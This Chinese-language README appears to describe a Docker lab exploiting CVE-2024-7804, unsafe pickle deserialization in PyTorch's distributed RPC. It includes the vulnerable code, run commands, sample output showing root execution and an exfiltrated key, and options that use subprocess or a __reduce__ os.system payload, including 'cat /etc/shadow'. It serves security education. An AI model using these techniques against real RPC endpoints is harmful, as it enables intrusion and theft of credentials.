自包含实验环境 + 针对 CVE-2024-7804 的漏洞利用:通过不安全地反序列化不可信数据(CWE-502),在 PyTorch 的分布式 RPC 框架(torch.distributed.rpc)中实现远程代码执行。
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()注意:该公告后来被维护者和 Red Hat 撤回/拒绝,理由是“已知功能”——PyTorch RPC 在设计上是一个可信对等系统。该实验环境仍然是对所报告问题的准确、动手实践演示。
每次 RPC 调用都会携带一个 PythonUDF 命名元组(func、args、kwargs)。在接收节点上,它通过一个裸的 pickle.Unpickler 重建,没有白名单,也没有完整性检查:
# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- 攻击者控制的 pickle
...
因此,任何能够加入 RPC“世界”的对等节点都可以让目标节点运行任意代码——要么通过一个在 load() 期间触发的 pickle __reduce__ 小工具,要么直接指定任何可导入的可调用对象作为 UDF,因为没有任何限制阻止节点执行它。
CVE-2024-7804/
├── docker-compose.yml # 受害者 + 攻击者位于同一桥接网络
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — 易受攻击的镜像
│ └── server.py # 受害者:一个信任对等节点的 RPC 工作节点
└── exploit/
└── exploit.py # 攻击者:加入世界并在受害者上实现 RCE
安装了 Compose 插件的 Docker。仅需 CPU(无需 GPU),支持 amd64 和 arm64 架构。
# 1. 启动易受攻击的受害者节点(rank 0,等待对等节点)
docker compose up --build -d victim
# 2. 触发漏洞利用(默认:在受害者上运行命令并获取其标准输出)
docker compose run --rm attacker
# 3. 拆除所有环境
docker compose down
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====
攻击者在受害者上以 root 身份执行了命令,并窃取了一个本不该暴露的文件。
| 命令 | 演示内容 |
|---|---|
docker compose run --rm attacker |
自定义命令:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
对于 --reduce,命令在受害者上运行,因此请在那里查看:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # 输出出现在受害者的日志中
--reduce 的受害者日志以 torch/distributed/rpc/internal.py 第 ~207 行(python_udf.func(...))处的回溯结束——证明负载已被不安全的反序列化器重建并执行。
29500)暴露给不可信网络。仅用于教育和授权安全测试。该实验环境故意存在漏洞——请勿部署它,并且只针对此实验环境运行漏洞利用。
将 subprocess.check_output 作为 UDF 发送。受害者在运行命令后返回其标准输出——一次调用即可实现 RCE 和数据窃取。 |
docker compose run --rm attacker python exploit.py --reduce | 发送一个 __reduce__ 会在受害者反序列化负载时运行 os.system 的对象——在反序列化时实现 RCE(CWE-502 的本质),甚至早于 UDF 被调用。 |